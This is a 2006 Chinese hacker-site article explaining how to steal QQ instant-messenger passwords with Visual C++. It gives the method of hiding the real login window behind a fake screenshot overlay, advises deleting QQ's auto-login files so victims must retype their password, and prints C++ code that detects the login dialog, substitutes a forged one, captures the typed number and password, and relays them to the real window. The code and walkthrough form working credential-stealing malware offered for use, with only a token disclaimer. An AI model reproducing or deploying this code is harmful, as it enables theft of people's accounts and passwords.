| 首页 | 技术文章 | 软件下载 | 博客 | 论坛 | 精品教程 | 黑客动画 | 视频资源 | 在线服务 | 黑客游戏 | 

您现在的位置: 中国X黑客小组 >> 技术文章 >> 编程技术 >> 黑客编程 >> 文章正文 用户登录 新用户注册
  [图文]Visual C++编程窃取QQ密码          【字体:
Visual C++编程窃取QQ密码
作者:未知    文章来源:CnXHacker.Net    点击数:    更新时间:2006-11-5    
  近日无所事事,看到现在的QQ防盗技术越来越好,一般的钩子已经无法获取用户输入 的密码了,我也试图用发送WM_GETTEXT消息以及GetWindowText来获取密码文本框的数据,发现是不可行的。左思右想,既然程序本身的防范很 严密。那么我们就从用户这边来下手吧。毕竟很多用户对电脑不是很了解的,各位看官可不能扔丑鸡蛋啊。

  网吧里一般用户点击QQ快捷方式后就输入号码和密码,然后再登陆,这样我们就可以进行欺骗了。我们的程序运行在后台不停的检测当前激活的窗口是不是QQ登录的窗口,如果是的话就先取得QQ登录窗口中的号码、密码文本框和登陆按钮的窗口位置。这样是为了在我们伪造的窗口上创建这些窗口时不被察觉,获得这些信息后,我们先截取整个屏幕,然后把真正的QQ登录窗口隐藏起来,最后创建我们自己的窗口,设置为最前占满整个桌面,然后再背景上贴上刚才抓取的图片。最后在图片QQ登陆的地方创建好QQ号码和密码输入窗口,在检测到用户单击在QQ登陆按钮时获取用户输入的字符,把这些字符发送到真正的QQ窗口里,最后模拟单击QQ登陆按钮完成QQ的正常登陆。

  然而家庭用户一般是选了自动登陆的方式,所以没有QQ登录的窗口,那我们就要动一些手脚了。了解QQ的地球人都知道,QQ文件夹下有这两个文件:AutoLogin.dat和LoginUinList.dat,它们的功能:这两个文件是QQ的号码登录数据文件,AutoLogin.dat 保存的是自动登录号码的数据文件,LoginUinList.dat则保存的是QQ登录窗口中的“QQ号码”下拉框中显示的所有号码记录。所以我们要删除QQ登录数据,直接删除AutoLogin.dat和LoginUinList.dat两个文件就行了。主要代码分析如下:
//根据进程ID得到进程名称 

BOOL processIdToName(LPTSTR lpszProcessName, DWORD PID) 

{ 

    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 

    PROCESSENTRY32 pe; 

    pe.dwSize = sizeof(PROCESSENTRY32); 

    if (!Process32First(hSnapshot, &pe)) { 

        return FALSE; 

    } 

    while (Process32Next(hSnapshot, &pe)) { 

        if (pe.th32ProcessID == PID) { 

            strcpy(lpszProcessName, pe.szExeFile); 

   return true; 

        } 

    } 

  

    return FALSE; 

}    

    

//查找QQ登录窗口 

void QQFind() 

{ 

 HWND  hWnd1 = NULL, qqID_hWnd = NULL, qqPass_hWnd = NULL; 

 HWND ButtonLogin = NULL, ButtonCancel = NULL; 

 char sTitle[255]; 

 CString ss; 

 DWORD QQPID; 

 int LoginID; 

 BOOL find = FALSE; 

 do 

 {  

  //获得当前激活窗口的句柄 

  g_hWnd = GetForegroundWindow(); 

  GetWindowThreadProcessId(g_hWnd, &QQPID); 

  //根据PID获得进程名 

  processIdToName(sTitle, QQPID); 

  ss = sTitle; 

  ss.MakeLower(); 

  //判断是否QQ 

  if(ss != "qq.exe") 

  { 

   Sleep(100); 

   continue; 

  } 

   

  //获得标题文字,判断是否登陆对话框 

  SendMessage(g_hWnd,WM_GETTEXT,255,(LPARAM)sTitle); 

  ss = sTitle; 

  int n = ss.Find("QQ", 0); 

  int m = ss.Find("登录", 0); 

  if(n >= 0 || m >= 0) 

  { 

   //查找QQ登陆按钮的句柄 

   ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");  

   LoginID = GetDlgCtrlID(ButtonLogin); 

   ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");  

   LoginID = GetDlgCtrlID(ButtonLogin); 

   //获得QQ登陆按钮窗口位置 

   GetWindowRect(ButtonLogin, &g_qqLogin); 



   //查找QQ取消按钮的句柄 

   ButtonCancel = FindWindowEx(g_hWnd, NULL, "Button", "取消"); 

   //获得QQ取消按钮窗口位置 

   GetWindowRect(ButtonCancel, &g_qqCancel); 



   //查找QQ密码输入框的句柄 

   hWnd1 = FindWindowEx(g_hWnd, NULL, "#32770", NULL);  

   if(hWnd1 != NULL)  

   { 

    qqPass_hWnd = FindWindowEx(hWnd1, qqPass_hWnd, "Edit", NULL); 

    //获得QQ密码输入框窗口位置 

    GetWindowRect(qqPass_hWnd, &g_qqPassRt);      

   } 

    

   //查找QQ号码输入框的句柄 

   hWnd1 = FindWindowEx(g_hWnd, NULL, "ComboBox", NULL); 

   if(hWnd1 != NULL)  

   { 

    qqID_hWnd = FindWindowEx(hWnd1, qqID_hWnd, "Edit", NULL); 

    //获得QQ号码输入框窗口位置 

    GetWindowRect(qqID_hWnd, &g_qqIDRt); 

    //获得当前默认QQ号码 

    SendMessage(qqID_hWnd,WM_GETTEXT, 255,(LPARAM)qqid); 

   } 

    

   //等待QQ窗口完全出现后抓取整个屏幕 

   Sleep(100); 

   g_DlgRt.left = 0; 

   g_DlgRt.top = 0; 

   g_DlgRt.right = m_xScreen; 

   g_DlgRt.bottom = m_yScreen;    

   g_pBitmap = CopyScreenToBitmap(&g_DlgRt); 

    

   //设置QQ窗口为不可见 

   ShowWindow(g_hWnd, SW_HIDE); 

    

   //弹出我们创建的伪造对话框 

   HINSTANCE hInstance = GetModuleHandle(NULL); 

   DialogBoxParam(hInstance, (LPCTSTR)IDD_WIN847, 0, (DLGPROC)win847, 0); 

    

   //设置QQ窗口为可见 

   ShowWindow(g_hWnd, SW_SHOW); 



   //把QQ号码和密码填到真正的QQ登录窗口上,并模拟单击登陆按钮 

   SendMessage(qqID_hWnd, WM_SETTEXT, 0, (LPARAM)qqid); 

   SendMessage(qqPass_hWnd, WM_SETTEXT, 0, (LPARAM)qqpass); 

   SendMessage(ButtonLogin, BM_CLICK, 0, 0); 



   DeleteObject(g_pBitmap); 

   //设置标志退出循环 

   find = true; 

  } 

   

 } 



 while(find == FALSE); 

}
  截图如下:


图一 伪装的登陆界面

  好了,说到这儿也差不多啦,见笑见笑了^_^,最后奉劝一句,请勿用于非法。

文章录入:IceRiver    责任编辑:admin 
  • 上一篇文章:

  • 下一篇文章:
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    最新热点 最新推荐 相关文章
    微软终于让步 Vista SP1支持
    Windows Vista对付ARP病毒有
    Thomson SpeedTouch 2030 SI
    Asterisk 畸形 MIME 数据时有
    Cisco 7940 Phone SIP 消息远
    Sun Solaris ATA 磁盘驱动IO
    Epic Games Unreal有多个远程
    真正的IIS永远的后门解密
    Windows平台的Cisco VPN 客户
    让Vista只能识别自己指定的U
      网友评论:(只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    Powered by ICE RIVER - STUDIO
    » CnXHacker.CoM   © CopyRight 2002-2006, CnXHacker.CoM™, Inc. All Rights Reserved.